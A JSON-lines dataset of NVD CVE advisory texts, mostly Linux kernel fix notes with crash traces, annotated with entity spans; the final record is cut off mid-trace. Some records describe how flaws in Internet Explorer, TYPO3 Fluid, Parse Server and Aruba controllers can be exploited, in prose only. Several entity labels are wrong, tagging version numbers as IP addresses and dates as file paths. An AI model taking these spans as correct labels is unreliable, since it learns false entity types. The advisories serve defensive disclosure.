{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/slub: fix to return errno if kmalloc() fails\n\nIn create_unique_id(), kmalloc(, GFP_KERNEL) can fail due to\nout-of-memory, if it fails, return errno correctly rather than\ntriggering panic via BUG_ON();\n\nkernel BUG at mm/slub.c:5893!\nInternal error: Oops - BUG: 0 [#1] PREEMPT SMP\n\nCall trace:\n sysfs_slab_add+0x258/0x260 mm/slub.c:5973\n __kmem_cache_create+0x60/0x118 mm/slub.c:4899\n create_cache mm/slab_common.c:229 [inline]\n kmem_cache_create_usercopy+0x19c/0x31c mm/slab_common.c:335\n kmem_cache_create+0x1c/0x28 mm/slab_common.c:390\n f2fs_kmem_cache_create fs/f2fs/f2fs.h:2766 [inline]\n f2fs_init_xattr_caches+0x78/0xb4 fs/f2fs/xattr.c:808\n f2fs_fill_super+0x1050/0x1e0c fs/f2fs/super.c:4149\n mount_bdev+0x1b8/0x210 fs/super.c:1400\n f2fs_mount+0x44/0x58 fs/f2fs/super.c:4512\n legacy_get_tree+0x30/0x74 fs/fs_context.c:610\n vfs_get_tree+0x40/0x140 fs/super.c:1530\n do_new_mount+0x1dc/0x4e4 fs/namespace.c:3040\n path_mount+0x358/0x914 fs/namespace.c:3370\n do_mount fs/namespace.c:3383 [inline]\n __do_sys_mount fs/namespace.c:3591 [inline]\n __se_sys_mount fs/namespace.c:3568 [inline]\n __arm64_sys_mount+0x2f8/0x408 fs/namespace.c:3568", "spans": {"FILEPATH: /f2fs/f2fs.h": [[635, 647]], "FILEPATH: /f2fs/xattr.c": [[698, 711]], "FILEPATH: /f2fs/super.c": [[749, 762], [832, 845]], "FILEPATH: slub.c": [[291, 297], [395, 401], [442, 448]], "FILEPATH: slab_common.c": [[471, 484], [541, 554], [591, 604]], "FILEPATH: super.c": [[795, 802], [926, 933]], "FILEPATH: fs_context.c": [[881, 893]], "FILEPATH: namespace.c": [[968, 979], [1012, 1023], [1042, 1053], [1087, 1098], [1132, 1143], [1192, 1203]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48659"}}
{"text": "A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user. An attacker who successfully exploited the vulnerability could gain the same user rights as the current user. If the current user is logged on with administrative user rights, an attacker who successfully exploited the vulnerability could take control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.\nIn a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Internet Explorer and then convince a user to view the website. An attacker could also embed an ActiveX control marked &quot;safe for initialization&quot; in an application or Microsoft Office document that hosts the IE rendering engine. The attacker could also take advantage of compromised websites and websites that accept or host user-provided content or advertisements. These websites could contain specially crafted content that could exploit the vulnerability.\nThe security update addresses the vulnerability by modifying how the scripting engine handles objects in memory.", "spans": {"SYSTEM: Internet Explorer": [[111, 128], [794, 811]], "SYSTEM: Microsoft Office": [[970, 986]], "VULNERABILITY: remote code execution": [[2, 23]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1570"}}
{"text": "TYPO3 Fluid before versions 2.0.8, 2.1.7, 2.2.4, 2.3.7, 2.4.4, 2.5.11 and 2.6.10 is vulnerable to Cross-Site Scripting. Three XSS vulnerabilities have been detected in Fluid: 1. TagBasedViewHelper allowed XSS through maliciously crafted additionalAttributes arrays by creating keys with attribute-closing quotes followed by HTML. When rendering such attributes, TagBuilder would not escape the keys. 2. ViewHelpers which used the CompileWithContentArgumentAndRenderStatic trait, and which declared escapeOutput = false, would receive the content argument in unescaped format. 3. Subclasses of AbstractConditionViewHelper would receive the then and else arguments in unescaped format. Update to versions 2.0.8, 2.1.7, 2.2.4, 2.3.7, 2.4.4, 2.5.11 or 2.6.10 of this typo3fluid/fluid package that fix the problem described. More details are available in the linked advisory.", "spans": {"VULNERABILITY: Cross-Site Scripting": [[98, 118]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-26216"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/memhotplug: Add add_pages override for PPC\n\nWith commit ffa0b64e3be5 (\"powerpc: Fix virt_addr_valid() for 64-bit Book3E & 32-bit\")\nthe kernel now validate the addr against high_memory value. This results\nin the below BUG_ON with dax pfns.\n\n[  635.798741][T26531] kernel BUG at mm/page_alloc.c:5521!\n1:mon> e\ncpu 0x1: Vector: 700 (Program Check) at [c000000007287630]\n    pc: c00000000055ed48: free_pages.part.0+0x48/0x110\n    lr: c00000000053ca70: tlb_finish_mmu+0x80/0xd0\n    sp: c0000000072878d0\n   msr: 800000000282b033\n  current = 0xc00000000afabe00\n  paca    = 0xc00000037ffff300   irqmask: 0x03   irq_happened: 0x05\n    pid   = 26531, comm = 50-landscape-sy\nkernel BUG at :5521!\nLinux version 5.19.0-rc3-14659-g4ec05be7c2e1 (kvaneesh@ltc-boston8) (gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0, GNU ld (GNU Binutils for Ubuntu) 2.34) #625 SMP Thu Jun 23 00:35:43 CDT 2022\n1:mon> t\n[link register   ] c00000000053ca70 tlb_finish_mmu+0x80/0xd0\n[c0000000072878d0] c00000000053ca54 tlb_finish_mmu+0x64/0xd0 (unreliable)\n[c000000007287900] c000000000539424 exit_mmap+0xe4/0x2a0\n[c0000000072879e0] c00000000019fc1c mmput+0xcc/0x210\n[c000000007287a20] c000000000629230 begin_new_exec+0x5e0/0xf40\n[c000000007287ae0] c00000000070b3cc load_elf_binary+0x3ac/0x1e00\n[c000000007287c10] c000000000627af0 bprm_execve+0x3b0/0xaf0\n[c000000007287cd0] c000000000628414 do_execveat_common.isra.0+0x1e4/0x310\n[c000000007287d80] c00000000062858c sys_execve+0x4c/0x60\n[c000000007287db0] c00000000002c1b0 system_call_exception+0x160/0x2c0\n[c000000007287e10] c00000000000c53c system_call_common+0xec/0x250\n\nThe fix is to make sure we update high_memory on memory hotplug.\nThis is similar to what x86 does in commit 3072e413e305 (\"mm/memory_hotplug: introduce add_pages\")", "spans": {"FILEPATH: page_alloc.c": [[357, 369]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[762, 767]], "ORGANIZATION: Ubuntu": [[836, 842], [899, 905]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49666"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Internal fields (keys used internally by Parse Server, prefixed by `_`) and protected fields (user defined) can be used as query constraints. Internal and protected fields are removed by Parse Server and are only returned to the client using a valid master key. However, using query constraints, these fields can be guessed by enumerating until Parse Server, prior to versions 4.10.14 or 5.2.5, returns a response object. The patch available in versions 4.10.14 and 5.2.5 requires the maser key to use internal and protected fields as query constraints. As a workaround, implement a Parse Cloud Trigger `beforeFind` and manually remove the query constraints.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-36079"}}
{"text": "There are multiple buffer overflow vulnerabilities that could lead to unauthenticated remote code execution by sending especially crafted packets destined to the PAPI (Aruba Networks AP management protocol) UDP port (8211) of access-points or controllers in Aruba 9000 Gateway; Aruba 7000 Series Mobility Controllers; Aruba 7200 Series Mobility Controllers version(s): 2.1.0.1, 2.2.0.0 and below; 6.4.4.23, 6.5.4.17, 8.2.2.9, 8.3.0.13, 8.5.0.10, 8.6.0.5, 8.7.0.0 and below; 6.4.4.23, 6.5.4.17, 8.2.2.9, 8.3.0.13, 8.5.0.10, 8.6.0.5, 8.7.0.0 and below.", "spans": {"IP_ADDRESS: 2.1.0.1": [[369, 376]], "IP_ADDRESS: 2.2.0.0": [[378, 385]], "IP_ADDRESS: 6.4.4.23": [[397, 405], [474, 482]], "IP_ADDRESS: 6.5.4.17": [[407, 415], [484, 492]], "IP_ADDRESS: 8.2.2.9": [[417, 424], [494, 501]], "IP_ADDRESS: 8.3.0.13": [[426, 434], [503, 511]], "IP_ADDRESS: 8.5.0.10": [[436, 444], [513, 521]], "IP_ADDRESS: 8.6.0.5": [[446, 453], [523, 530]], "IP_ADDRESS: 8.7.0.0": [[455, 462], [532, 539]], "ORGANIZATION: Aruba": [[168, 173], [258, 263], [278, 283], [318, 323]], "VULNERABILITY: remote code execution": [[86, 107]], "VULNERABILITY: buffer overflow": [[19, 34]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-24633"}}
{"text": "Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Filters). The supported version that is affected is 8.5.5. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Outside In Technology. Note: Outside In Technology is a suite of software development kits (SDKs). The protocol and CVSS Base Score depend on the software that uses Outside In Technology. The CVSS score assumes that the software passes data received over a network directly to Outside In Technology, but if data is not received over a network the CVSS score may be lower. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [61, 67], [276, 282], [447, 453]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-2451"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ngtp: Fix use-after-free in __gtp_encap_destroy().\n\nsyzkaller reported use-after-free in __gtp_encap_destroy(). [0]\n\nIt shows the same process freed sk and touched it illegally.\n\nCommit e198987e7dd7 (\"gtp: fix suspicious RCU usage\") added lock_sock()\nand release_sock() in __gtp_encap_destroy() to protect sk->sk_user_data,\nbut release_sock() is called after sock_put() releases the last refcnt.\n\n[0]:\nBUG: KASAN: slab-use-after-free in instrument_atomic_read_write include/linux/instrumented.h:96 [inline]\nBUG: KASAN: slab-use-after-free in atomic_try_cmpxchg_acquire include/linux/atomic/atomic-instrumented.h:541 [inline]\nBUG: KASAN: slab-use-after-free in queued_spin_lock include/asm-generic/qspinlock.h:111 [inline]\nBUG: KASAN: slab-use-after-free in do_raw_spin_lock include/linux/spinlock.h:186 [inline]\nBUG: KASAN: slab-use-after-free in __raw_spin_lock_bh include/linux/spinlock_api_smp.h:127 [inline]\nBUG: KASAN: slab-use-after-free in _raw_spin_lock_bh+0x75/0xe0 kernel/locking/spinlock.c:178\nWrite of size 4 at addr ffff88800dbef398 by task syz-executor.2/2401\n\nCPU: 1 PID: 2401 Comm: syz-executor.2 Not tainted 6.4.0-rc5-01219-gfa0e21fa4443 #2\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x72/0xa0 lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:351 [inline]\n print_report+0xcc/0x620 mm/kasan/report.c:462\n kasan_report+0xb2/0xe0 mm/kasan/report.c:572\n check_region_inline mm/kasan/generic.c:181 [inline]\n kasan_check_range+0x39/0x1c0 mm/kasan/generic.c:187\n instrument_atomic_read_write include/linux/instrumented.h:96 [inline]\n atomic_try_cmpxchg_acquire include/linux/atomic/atomic-instrumented.h:541 [inline]\n queued_spin_lock include/asm-generic/qspinlock.h:111 [inline]\n do_raw_spin_lock include/linux/spinlock.h:186 [inline]\n __raw_spin_lock_bh include/linux/spinlock_api_smp.h:127 [inline]\n _raw_spin_lock_bh+0x75/0xe0 kernel/locking/spinlock.c:178\n spin_lock_bh include/linux/spinlock.h:355 [inline]\n release_sock+0x1f/0x1a0 net/core/sock.c:3526\n gtp_encap_disable_sock drivers/net/gtp.c:651 [inline]\n gtp_encap_disable+0xb9/0x220 drivers/net/gtp.c:664\n gtp_dev_uninit+0x19/0x50 drivers/net/gtp.c:728\n unregister_netdevice_many_notify+0x97e/0x1520 net/core/dev.c:10841\n rtnl_delete_link net/core/rtnetlink.c:3216 [inline]\n rtnl_dellink+0x3c0/0xb30 net/core/rtnetlink.c:3268\n rtnetlink_rcv_msg+0x450/0xb10 net/core/rtnetlink.c:6423\n netlink_rcv_skb+0x15d/0x450 net/netlink/af_netlink.c:2548\n netlink_unicast_kernel net/netlink/af_netlink.c:1339 [inline]\n netlink_unicast+0x700/0x930 net/netlink/af_netlink.c:1365\n netlink_sendmsg+0x91c/0xe30 net/netlink/af_netlink.c:1913\n sock_sendmsg_nosec net/socket.c:724 [inline]\n sock_sendmsg+0x1b7/0x200 net/socket.c:747\n ____sys_sendmsg+0x75a/0x990 net/socket.c:2493\n ___sys_sendmsg+0x11d/0x1c0 net/socket.c:2547\n __sys_sendmsg+0xfe/0x1d0 net/socket.c:2576\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x3f/0x90 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x72/0xdc\nRIP: 0033:0x7f1168b1fe5d\nCode: ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 73 9f 1b 00 f7 d8 64 89 01 48\nRSP: 002b:00007f1167edccc8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 00000000004bbf80 RCX: 00007f1168b1fe5d\nRDX: 0000000000000000 RSI: 00000000200002c0 RDI: 0000000000000003\nRBP: 00000000004bbf80 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 000000000000000b R14: 00007f1168b80530 R15: 0000000000000000\n </TASK>\n\nAllocated by task 1483:\n kasan_save_stack+0x22/0x50 mm/kasan/common.c:45\n kasan_set_track+0x25/0x30 mm/kasan/common.c:52\n __kasan_slab_alloc+0x\n---truncated---", "spans": {"DOMAIN: rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org": [[1286, 1330]], "FILEPATH: /linux/instrumented.h": [[541, 562], [1746, 1767]], "FILEPATH: /linux/atomic/atomic-instrumented.h": [[644, 679], [1815, 1850]], "FILEPATH: /asm-generic/qspinlock.h": [[752, 776], [1889, 1913]], "FILEPATH: /linux/spinlock.h": [[849, 866], [1952, 1969], [2129, 2146]], "FILEPATH: /linux/spinlock_api_smp.h": [[941, 966], [2010, 2035]], "FILEPATH: /locking/spinlock.c": [[1049, 1068], [2084, 2103]], "FILEPATH: /01/2014": [[1333, 1341]], "FILEPATH: /kasan/report.c": [[1481, 1496], [1537, 1552], [1583, 1598]], "FILEPATH: /kasan/generic.c": [[1626, 1642], [1688, 1704]], "FILEPATH: /core/sock.c": [[2188, 2200]], "FILEPATH: /net/gtp.c": [[2237, 2247], [2298, 2308], [2346, 2356]], "FILEPATH: /core/dev.c": [[2411, 2422]], "FILEPATH: /core/rtnetlink.c": [[2450, 2467], [2511, 2528], [2568, 2585]], "FILEPATH: /netlink/af_netlink.c": [[2623, 2644], [2677, 2698], [2745, 2766], [2804, 2825]], "FILEPATH: /x86/entry/common.c": [[3077, 3096], [3138, 3157]], "FILEPATH: /kasan/common.c": [[3893, 3908], [3941, 3956]], "FILEPATH: dump_stack.c": [[1380, 1392], [1435, 1447]], "FILEPATH: socket.c": [[2855, 2863], [2907, 2915], [2953, 2961], [2999, 3007], [3043, 3051]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1241, 1245]], "VULNERABILITY: use-after-free": [[78, 92], [139, 153], [487, 501], [592, 606], [710, 724], [807, 821], [897, 911], [997, 1011]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54142"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: iwlwifi: dvm: Fix memcpy: detected field-spanning write backtrace\n\nA received TKIP key may be up to 32 bytes because it may contain\nMIC rx/tx keys too. These are not used by iwl and copying these\nover overflows the iwl_keyinfo.key field.\n\nAdd a check to not copy more data to iwl_keyinfo.key then will fit.\n\nThis fixes backtraces like this one:\n\n memcpy: detected field-spanning write (size 32) of single field \"sta_cmd.key.key\" at drivers/net/wireless/intel/iwlwifi/dvm/sta.c:1103 (size 16)\n WARNING: CPU: 1 PID: 946 at drivers/net/wireless/intel/iwlwifi/dvm/sta.c:1103 iwlagn_send_sta_key+0x375/0x390 [iwldvm]\n <snip>\n Hardware name: Dell Inc. Latitude E6430/0H3MT5, BIOS A21 05/08/2017\n RIP: 0010:iwlagn_send_sta_key+0x375/0x390 [iwldvm]\n <snip>\n Call Trace:\n  <TASK>\n  iwl_set_dynamic_key+0x1f0/0x220 [iwldvm]\n  iwlagn_mac_set_key+0x1e4/0x280 [iwldvm]\n  drv_set_key+0xa4/0x1b0 [mac80211]\n  ieee80211_key_enable_hw_accel+0xa8/0x2d0 [mac80211]\n  ieee80211_key_replace+0x22d/0x8e0 [mac80211]\n <snip>", "spans": {"FILEPATH: /net/wireless/intel/iwlwifi/dvm/sta.c": [[514, 551], [603, 640]], "FILEPATH: /08/2017": [[755, 763]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Dell": [[711, 715]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54286"}}
{"text": "A vulnerability has been identified in SCALANCE X200-4P IRT (All versions < V5.5.2), SCALANCE X201-3P IRT (All versions < V5.5.2), SCALANCE X201-3P IRT PRO (All versions < V5.5.2), SCALANCE X202-2IRT (All versions < V5.5.2), SCALANCE X202-2IRT (All versions < V5.5.2), SCALANCE X202-2P IRT (All versions < V5.5.2), SCALANCE X202-2P IRT PRO (All versions < V5.5.2), SCALANCE X204IRT (All versions < V5.5.2), SCALANCE X204IRT (All versions < V5.5.2), SCALANCE X204IRT PRO (All versions < V5.5.2), SCALANCE XF201-3P IRT (All versions < V5.5.2), SCALANCE XF202-2P IRT (All versions < V5.5.2), SCALANCE XF204-2BA IRT (All versions < V5.5.2), SCALANCE XF204IRT (All versions < V5.5.2), SIPLUS NET SCALANCE X202-2P IRT (All versions < V5.5.2). The SSH server on affected devices is configured to offer weak ciphers by default.\r\n\r\nThis could allow an unauthorized attacker in a man-in-the-middle position to read and modify any data\r\npassed over the connection between legitimate clients and the affected device.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-29054"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64/sve: Discard stale CPU state when handling SVE traps\n\nThe logic for handling SVE traps manipulates saved FPSIMD/SVE state\nincorrectly, and a race with preemption can result in a task having\nTIF_SVE set and TIF_FOREIGN_FPSTATE clear even though the live CPU state\nis stale (e.g. with SVE traps enabled). This has been observed to result\nin warnings from do_sve_acc() where SVE traps are not expected while\nTIF_SVE is set:\n\n|         if (test_and_set_thread_flag(TIF_SVE))\n|                 WARN_ON(1); /* SVE access shouldn't have trapped */\n\nWarnings of this form have been reported intermittently, e.g.\n\n  https://lore.kernel.org/linux-arm-kernel/CA+G9fYtEGe_DhY2Ms7+L7NKsLYUomGsgqpdBj+QwDLeSg=JhGg@mail.gmail.com/\n  https://lore.kernel.org/linux-arm-kernel/000000000000511e9a060ce5a45c@google.com/\n\nThe race can occur when the SVE trap handler is preempted before and\nafter manipulating the saved FPSIMD/SVE state, starting and ending on\nthe same CPU, e.g.\n\n| void do_sve_acc(unsigned long esr, struct pt_regs *regs)\n| {\n|         // Trap on CPU 0 with TIF_SVE clear, SVE traps enabled\n|         // task->fpsimd_cpu is 0.\n|         // per_cpu_ptr(&fpsimd_last_state, 0) is task.\n|\n|         ...\n|\n|         // Preempted; migrated from CPU 0 to CPU 1.\n|         // TIF_FOREIGN_FPSTATE is set.\n|\n|         get_cpu_fpsimd_context();\n|\n|         if (test_and_set_thread_flag(TIF_SVE))\n|                 WARN_ON(1); /* SVE access shouldn't have trapped */\n|\n|         sve_init_regs() {\n|                 if (!test_thread_flag(TIF_FOREIGN_FPSTATE)) {\n|                         ...\n|                 } else {\n|                         fpsimd_to_sve(current);\n|                         current->thread.fp_type = FP_STATE_SVE;\n|                 }\n|         }\n|\n|         put_cpu_fpsimd_context();\n|\n|         // Preempted; migrated from CPU 1 to CPU 0.\n|         // task->fpsimd_cpu is still 0\n|         // If per_cpu_ptr(&fpsimd_last_state, 0) is still task then:\n|         // - Stale HW state is reused (with SVE traps enabled)\n|         // - TIF_FOREIGN_FPSTATE is cleared\n|         // - A return to userspace skips HW state restore\n| }\n\nFix the case where the state is not live and TIF_FOREIGN_FPSTATE is set\nby calling fpsimd_flush_task_state() to detach from the saved CPU\nstate. This ensures that a subsequent context switch will not reuse the\nstale CPU state, and will instead set TIF_FOREIGN_FPSTATE, forcing the\nnew state to be reloaded from memory prior to a return to userspace.", "spans": {"URL: https://lore.kernel.org/linux-arm-kernel/CA+G9fYtEGe_DhY2Ms7+L7NKsLYUomGsgqpdBj+QwDLeSg=JhGg@mail.gmail.com/": [[682, 790]], "URL: https://lore.kernel.org/linux-arm-kernel/000000000000511e9a060ce5a45c@google.com/": [[793, 874]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50275"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: brcmfmac: Check the return value of of_property_read_string_index()\n\nSomewhen between 6.10 and 6.11 the driver started to crash on my\nMacBookPro14,3. The property doesn't exist and 'tmp' remains\nuninitialized, so we pass a random pointer to devm_kstrdup().\n\nThe crash I am getting looks like this:\n\nBUG: unable to handle page fault for address: 00007f033c669379\nPF: supervisor read access in kernel mode\nPF: error_code(0x0001) - permissions violation\nPGD 8000000101341067 P4D 8000000101341067 PUD 101340067 PMD 1013bb067 PTE 800000010aee9025\nOops: Oops: 0001 [#1] SMP PTI\nCPU: 4 UID: 0 PID: 827 Comm: (udev-worker) Not tainted 6.11.8-gentoo #1\nHardware name: Apple Inc. MacBookPro14,3/Mac-551B86E5744E2388, BIOS 529.140.2.0.0 06/23/2024\nRIP: 0010:strlen+0x4/0x30\nCode: f7 75 ec 31 c0 c3 cc cc cc cc 48 89 f8 c3 cc cc cc cc 0f 1f 40 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa <80> 3f 00 74 14 48 89 f8 48 83 c0 01 80 38 00 75 f7 48 29 f8 c3 cc\nRSP: 0018:ffffb4aac0683ad8 EFLAGS: 00010202\nRAX: 00000000ffffffea RBX: 00007f033c669379 RCX: 0000000000000001\nRDX: 0000000000000cc0 RSI: 00007f033c669379 RDI: 00007f033c669379\nRBP: 00000000ffffffea R08: 0000000000000000 R09: 00000000c0ba916a\nR10: ffffffffffffffff R11: ffffffffb61ea260 R12: ffff91f7815b50c8\nR13: 0000000000000cc0 R14: ffff91fafefffe30 R15: ffffb4aac0683b30\nFS:  00007f033ccbe8c0(0000) GS:ffff91faeed00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f033c669379 CR3: 0000000107b1e004 CR4: 00000000003706f0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n ? __die+0x23/0x70\n ? page_fault_oops+0x149/0x4c0\n ? raw_spin_rq_lock_nested+0xe/0x20\n ? sched_balance_newidle+0x22b/0x3c0\n ? update_load_avg+0x78/0x770\n ? exc_page_fault+0x6f/0x150\n ? asm_exc_page_fault+0x26/0x30\n ? __pfx_pci_conf1_write+0x10/0x10\n ? strlen+0x4/0x30\n devm_kstrdup+0x25/0x70\n brcmf_of_probe+0x273/0x350 [brcmfmac]", "spans": {"IP_ADDRESS: 529.140.2.0": [[787, 798]], "FILEPATH: /23/2024": [[803, 811]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Apple": [[734, 739]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21750"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRevert \"f2fs: fix to do sanity check on extent cache correctly\"\n\nsyzbot reports a f2fs bug as below:\n\nUBSAN: array-index-out-of-bounds in fs/f2fs/f2fs.h:3275:19\nindex 1409 is out of range for type '__le32[923]' (aka 'unsigned int[923]')\nCall Trace:\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0x1e7/0x2d0 lib/dump_stack.c:106\n ubsan_epilogue lib/ubsan.c:217 [inline]\n __ubsan_handle_out_of_bounds+0x11c/0x150 lib/ubsan.c:348\n inline_data_addr fs/f2fs/f2fs.h:3275 [inline]\n __recover_inline_status fs/f2fs/inode.c:113 [inline]\n do_read_inode fs/f2fs/inode.c:480 [inline]\n f2fs_iget+0x4730/0x48b0 fs/f2fs/inode.c:604\n f2fs_fill_super+0x640e/0x80c0 fs/f2fs/super.c:4601\n mount_bdev+0x276/0x3b0 fs/super.c:1391\n legacy_get_tree+0xef/0x190 fs/fs_context.c:611\n vfs_get_tree+0x8c/0x270 fs/super.c:1519\n do_new_mount+0x28f/0xae0 fs/namespace.c:3335\n do_mount fs/namespace.c:3675 [inline]\n __do_sys_mount fs/namespace.c:3884 [inline]\n __se_sys_mount+0x2d9/0x3c0 fs/namespace.c:3861\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x41/0xc0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nThe issue was bisected to:\n\ncommit d48a7b3a72f121655d95b5157c32c7d555e44c05\nAuthor: Chao Yu <chao@kernel.org>\nDate:   Mon Jan 9 03:49:20 2023 +0000\n\n    f2fs: fix to do sanity check on extent cache correctly\n\nThe root cause is we applied both v1 and v2 of the patch, v2 is the right\nfix, so it needs to revert v1 in order to fix reported issue.\n\nv1:\ncommit d48a7b3a72f1 (\"f2fs: fix to do sanity check on extent cache correctly\")\nhttps://lore.kernel.org/lkml/20230109034920.492914-1-chao@kernel.org/\n\nv2:\ncommit 269d11948100 (\"f2fs: fix to do sanity check on extent cache correctly\")\nhttps://lore.kernel.org/lkml/20230207134808.1827869-1-chao@kernel.org/", "spans": {"URL: https://lore.kernel.org/lkml/20230109034920.492914-1-chao@kernel.org/": [[1634, 1703]], "URL: https://lore.kernel.org/lkml/20230207134808.1827869-1-chao@kernel.org/": [[1788, 1858]], "DOMAIN: kernel.org": [[1303, 1313]], "HASH: d48a7b3a72f121655d95b5157c32c7d555e44c05": [[1240, 1280]], "FILEPATH: /f2fs/f2fs.h": [[209, 221], [529, 541]], "FILEPATH: /f2fs/inode.c": [[583, 596], [627, 640], [681, 694]], "FILEPATH: /f2fs/super.c": [[732, 745]], "FILEPATH: /x86/entry/common.c": [[1078, 1097], [1139, 1158]], "FILEPATH: dump_stack.c": [[336, 348], [393, 405]], "FILEPATH: ubsan.c": [[430, 437], [497, 504]], "FILEPATH: super.c": [[778, 785], [867, 874]], "FILEPATH: fs_context.c": [[822, 834]], "FILEPATH: namespace.c": [[909, 920], [939, 950], [984, 995], [1041, 1052]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53763"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: ibmvfc: Allocate/free queue resource only during probe/remove\n\nCurrently, the sub-queues and event pool resources are allocated/freed for\nevery CRQ connection event such as reset and LPM. This exposes the driver\nto a couple issues. First the inefficiency of freeing and reallocating\nmemory that can simply be resued after being sanitized. Further, a system\nunder memory pressue runs the risk of allocation failures that could result\nin a crippled driver. Finally, there is a race window where command\nsubmission/compeletion can try to pull/return elements from/to an event\npool that is being deleted or already has been deleted due to the lack of\nhost state around freeing/allocating resources. The following is an example\nof list corruption following a live partition migration (LPM):\n\nOops: Exception in kernel mode, sig: 5 [#1]\nLE PAGE_SIZE=64K MMU=Hash SMP NR_CPUS=2048 NUMA pSeries\nModules linked in: vfat fat isofs cdrom ext4 mbcache jbd2 nft_counter nft_compat nf_tables nfnetlink rpadlpar_io rpaphp xsk_diag nfsv3 nfs_acl nfs lockd grace fscache netfs rfkill bonding tls sunrpc pseries_rng drm drm_panel_orientation_quirks xfs libcrc32c dm_service_time sd_mod t10_pi sg ibmvfc scsi_transport_fc ibmveth vmx_crypto dm_multipath dm_mirror dm_region_hash dm_log dm_mod ipmi_devintf ipmi_msghandler fuse\nCPU: 0 PID: 2108 Comm: ibmvfc_0 Kdump: loaded Not tainted 5.14.0-70.9.1.el9_0.ppc64le #1\nNIP: c0000000007c4bb0 LR: c0000000007c4bac CTR: 00000000005b9a10\nREGS: c00000025c10b760 TRAP: 0700  Not tainted (5.14.0-70.9.1.el9_0.ppc64le)\nMSR: 800000000282b033 <SF,VEC,VSX,EE,FP,ME,IR,DR,RI,LE> CR: 2800028f XER: 0000000f\nCFAR: c0000000001f55bc IRQMASK: 0\n        GPR00: c0000000007c4bac c00000025c10ba00 c000000002a47c00 000000000000004e\n        GPR04: c0000031e3006f88 c0000031e308bd00 c00000025c10b768 0000000000000027\n        GPR08: 0000000000000000 c0000031e3009dc0 00000031e0eb0000 0000000000000000\n        GPR12: c0000031e2ffffa8 c000000002dd0000 c000000000187108 c00000020fcee2c0\n        GPR16: 0000000000000000 0000000000000000 0000000000000000 0000000000000000\n        GPR20: 0000000000000000 0000000000000000 0000000000000000 c008000002f81300\n        GPR24: 5deadbeef0000100 5deadbeef0000122 c000000263ba6910 c00000024cc88000\n        GPR28: 000000000000003c c0000002430a0000 c0000002430ac300 000000000000c300\nNIP [c0000000007c4bb0] __list_del_entry_valid+0x90/0x100\nLR [c0000000007c4bac] __list_del_entry_valid+0x8c/0x100\nCall Trace:\n[c00000025c10ba00] 